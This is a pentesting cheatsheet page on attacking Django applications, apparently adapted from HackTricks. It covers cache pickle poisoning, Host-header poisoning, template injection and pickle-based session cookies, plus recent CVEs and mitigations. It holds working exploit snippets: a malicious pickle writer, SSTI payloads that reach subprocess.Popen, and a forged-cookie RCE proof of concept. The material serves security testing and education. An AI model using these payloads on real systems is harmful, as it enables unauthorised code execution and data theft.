daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

django.md (13199B)


      1 ---
      2 title: "Django"
      3 section: "Network Services"
      4 sectionSlug: "network-services-pentesting"
      5 sourcePath: "src/network-services-pentesting/pentesting-web/django.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/django.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Django
     14 
     15 ## Cache Manipulation to RCE
     16 Django's default cache storage method is [Python pickles](https://docs.python.org/3/library/pickle.html), which can lead to RCE if [untrusted input is unpickled](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server**.<sup>[[11]](#references)</sup>
     17 
     18 Django cache is stored in one of four places: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [memory](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [files](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), or a [database](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
     19 
     20 On **FileBasedCache**, the pickled value is written to a file under `CACHES['default']['LOCATION']` (often `/var/tmp/django_cache/`). If that directory is world-writable or attacker-controlled, dropping a malicious pickle under the expected cache key yields code execution when the app reads it:<sup>[[8]](#references)</sup>
     21 
     22 ```bash
     23 python - <<'PY'
     24 import pickle, os
     25 class RCE:
     26     def __reduce__(self):
     27         return (os.system, ("id >/tmp/pwned",))
     28 open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
     29 PY
     30 ```
     31 
     32 This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436<sup>[[12]](#references)</sup>
     33 
     34 ---
     35 
     36 ## Host Header / Password Reset Poisoning
     37 Django uses the request host to build absolute URLs in several common patterns: password reset emails, canonical links, redirects, `request.build_absolute_uri()`, sitemap generation, and multitenant logic. The framework validates the host only when code goes through `request.get_host()`. Therefore, **applications that read `request.META['HTTP_HOST']` or trust `HTTP_X_FORWARDED_HOST` in custom middleware can reintroduce classic Host header poisoning bugs even when `ALLOWED_HOSTS` is configured**.
     38 
     39 ### High-value targets
     40 * Password reset and email verification links generated from `request.build_absolute_uri()`
     41 * Cache keys or reverse-proxy cache variations that include the host
     42 * Tenancy / white-label logic that picks branding, callback URLs, or storage buckets from the host
     43 * CSRF logic in deployments with attacker-controlled subdomains or overly broad cookie domains
     44 
     45 ### Practical checks
     46 ```http
     47 POST /accounts/password/reset/ HTTP/1.1
     48 Host: attacker.tld
     49 X-Forwarded-Host: attacker.tld
     50 X-Forwarded-Proto: https
     51 ```
     52 
     53 Watch for:
     54 * Reset links, absolute redirects, or preview URLs containing the injected host
     55 * `SuspiciousOperation` only for `Host`, while `X-Forwarded-Host` still reaches application code
     56 * Absolute URLs built from `request.META['HTTP_HOST']` instead of `request.get_host()`
     57 
     58 Django's own security docs explicitly note that fake Host values can be used for CSRF, cache poisoning, and poisoning links in emails, and that reading the host directly from `request.META` bypasses `ALLOWED_HOSTS` protection.<sup>[[5]](#references)</sup> Also remember the CSRF limitation: if an attacker controls a subdomain and can set cookies for the parent domain, they may be able to satisfy the CSRF cookie/token check for the main app.
     59 
     60 ---
     61 
     62 ## Server-Side Template Injection (SSTI)
     63 The Django Template Language (DTL) is **Turing-complete**. If user-supplied data is rendered as a *template string* (for example by calling `Template(user_input).render()` or when `|safe`/`format_html()` removes auto-escaping), an attacker may achieve full SSTI → RCE.
     64 
     65 ### Detection
     66 1. Look for dynamic calls to `Template()` / `Engine.from_string()` / `render_to_string()` that include *any* unsanitised request data.
     67 2. Send a time-based or arithmetic payload:
     68    ```django
     69    {{7*7}}
     70    ```
     71    If the rendered output contains `49` the input is compiled by the template engine.
     72 3. DTL is **not Jinja2**: arithmetic/loop payloads regularly raise `TemplateSyntaxError`/500 while still proving evaluation.<sup>[[8]](#references)</sup> Polyglots like `${{<%[%'"}}%` are good crash-or-render probes.
     73 
     74 ### Context exfiltration when RCE is blocked
     75 Even if object-walking to `subprocess.Popen` fails, DTL still exposes in-scope objects:<sup>[[8]](#references)</sup>
     76 ```text
     77 {{ request }}               {# confirm SSTI #}
     78 {{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
     79 {{ users }}                  {# QuerySet in the context? #}
     80 {{ users.0 }}                {# first row #}
     81 {{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}
     82 ```
     83 `QuerySet.values()` coerces rows to dictionaries, bypassing `__str__` and exposing all fields returned by the queryset. This works even when direct Python execution is filtered.<sup>[[4]](#references)[[8]](#references)</sup>
     84 
     85 **Automation pattern**: authenticate, grab the CSRF token, save a marker-prefixed payload in any persistent field (e.g., username/profile bio), then request a view that renders it (AJAX endpoints like `/likes/<id>` are common). Parse a stable attribute (e.g., `title="..."`) to recover the rendered result and iterate payloads.<sup>[[8]](#references)</sup>
     86 
     87 ### Primitive to RCE
     88 Django blocks direct access to `__import__`, but the Python object graph is reachable:
     89 ```text
     90 {{''.__class__.mro()[1].__subclasses__()}}
     91 ```
     92 Find the index of `subprocess.Popen` (≈400–500 depending on Python build) and execute arbitrary commands:
     93 ```text
     94 {{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
     95 ```
     96 A safer universal gadget is to iterate until `cls.__name__ == 'Popen'`.
     97 
     98 The same gadget works for **Debug Toolbar** or **Django-CMS** template rendering features that mishandle user input.
     99 
    100 ---
    101 
    102 ### Also see: ReportLab/xhtml2pdf PDF export RCE
    103 Applications built on Django commonly integrate xhtml2pdf/ReportLab to export views as PDF. When user-controlled HTML flows into PDF generation, rl_safe_eval may evaluate expressions inside triple brackets `[[[ ... ]]]` enabling code execution (CVE-2023-33733).<sup>[[3]](#references)</sup> Details, payloads, and mitigations:
    104 
    105 [Reportlab Xhtml2Pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/reportlab-xhtml2pdf-triple-brackets-expression-evaluation-rce-cve-2023-33733.md)
    106 
    107 ---
    108 
    109 ## Pickle-Backed Signed Session Cookie RCE
    110 If the application uses `SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'` together with `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` (or a custom serializer that deserialises pickle), Django will **unsign and unpickle attacker-controlled session data before view code runs**. In this configuration, a leaked `SECRET_KEY` immediately becomes an RCE primitive.
    111 
    112 ### Exploit Requirements
    113 * The server uses the signed-cookie session backend (`django.contrib.sessions.backends.signed_cookies`).
    114 * The server uses `PickleSerializer`.
    115 * The attacker knows / can guess `settings.SECRET_KEY` (leaks via GitHub, `.env`, error pages, etc.).
    116 
    117 ### Recon and tooling
    118 If the whole session is stored client-side, the `sessionid` cookie is usually a long signed blob rather than a short opaque session key from a server-side session store. That is the situation where `SECRET_KEY` guessing, reuse, or disclosure matters the most.
    119 
    120 [`badsecrets`](https://github.com/blacklanternsecurity/badsecrets) can test Django signed cookies against known or weak secrets:<sup>[[9]](#references)[[10]](#references)</sup>
    121 
    122 ```bash
    123 pip install badsecrets
    124 badsecrets --url https://target.tld/
    125 badsecrets '<sessionid_cookie_value>'
    126 ```
    127 
    128 This is especially useful during wide scans for appliances or products that shipped with a hardcoded / tutorial `SECRET_KEY`, or after recovering a settings file from an LFI, debug page, or public repository.
    129 
    130 ### Proof-of-Concept
    131 ```python
    132 #!/usr/bin/env python3
    133 from django.contrib.sessions.serializers import PickleSerializer
    134 from django.core import signing
    135 import os, base64
    136 
    137 class RCE(object):
    138     def __reduce__(self):
    139         return (os.system, ("id > /tmp/pwned",))
    140 
    141 mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
    142 print(f"sessionid={mal}")
    143 ```
    144 Send the resulting cookie, and the payload runs with the permissions of the WSGI worker.
    145 
    146 **Mitigations**: keep the default `JSONSerializer`, rotate `SECRET_KEY`/`SECRET_KEY_FALLBACKS`, and leave `SESSION_COOKIE_HTTPONLY` enabled. Django's own signing/session docs explicitly recommend JSON here because JSON serialization prevents pickle-based code execution even if the signing key is exposed.<sup>[[6]](#references)[[7]](#references)</sup>
    147 
    148 ---
    149 
    150 ## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
    151 These are useful as **version-gated testing hints**, but the important lesson is broader: recent Django SQLi fixes keep landing in places where developers assume "ORM == safe" while still passing attacker-controlled field names, JSON keys, or alias names into `*args` / `**kwargs`.
    152 
    153 * **CVE-2025-48432** – *Log injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI escape sequences into application logs and poison downstream log ingestion or analyst terminals. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.<sup>[[1]](#references)</sup>
    154 * **CVE-2025-57833** – *SQL injection in `FilteredRelation` column aliases* (fixed September 3 2025). Dangerous pattern: attacker-controlled dictionary expansion into `QuerySet.annotate()` / `QuerySet.alias()` keyword arguments.<sup>[[2]](#references)</sup>
    155 * **CVE-2024-42005** – *SQL injection in `QuerySet.values()` / `values_list()` on `JSONField`* (fixed August 6 2024). Dangerous pattern: attacker-controlled JSON keys reaching `values(*user_keys)` or `values_list(*user_keys)`.
    156 * **CVE-2024-53908** – *SQL injection in direct `HasKey(lhs, rhs)` usage on Oracle* (fixed December 4 2024). The common `field__has_key='x'` syntax is unaffected; the risky case is hand-built lookup objects with untrusted `lhs`.
    157 
    158 Always fingerprint the exact framework version via the `X-Frame-Options` error page, `/static/admin/css/base.css` hashes, package metadata leaks, or debug stack traces, then test the affected call sites where user input influences lookup names or alias names rather than raw values.
    159 
    160 ---
    161 
    162 ## References
    163 - [1] [Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432"](https://www.djangoproject.com/weblog/2025/jun/04/security-releases/)
    164 - [2] [Django security release – "Django 5.2.6, 5.1.12, 4.2.24 address CVE-2025-57833"](https://www.djangoproject.com/weblog/2025/sep/03/security-releases/)
    165 - [3] [0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD](https://0xdf.gitlab.io/2025/08/09/htb-university.html)
    166 - [4] [Django docs – QuerySet.values()](https://docs.djangoproject.com/en/6.0/ref/models/querysets/#values)
    167 - [5] [Django docs – Security in Django](https://docs.djangoproject.com/en/6.0/topics/security/)
    168 - [6] [Django docs – Sessions](https://docs.djangoproject.com/en/6.0/topics/http/sessions/)
    169 - [7] [Django docs – Signing](https://docs.djangoproject.com/en/6.0/topics/signing/)
    170 - [8] [0xdf: HackNet (HTB) — HTML Attribute Injection → Django SSTI → QuerySet.values data dump → Pickle FileBasedCache RCE](https://0xdf.gitlab.io/2026/01/17/htb-hacknet.html)
    171 - [9] [Black Lantern Security – Introducing Badsecrets](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
    172 - [10] [badsecrets project repository](https://github.com/blacklanternsecurity/badsecrets)
    173 - [11] [Sour Pickles: A Serialised Exploitation Guide in One Part (Marco Slaviero, Black Hat USA 2011)](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)
    174 - [12] [Django disclosed on HackerOne: Deserialization of potentially malicious data to RCE](https://hackerone.com/reports/1415436)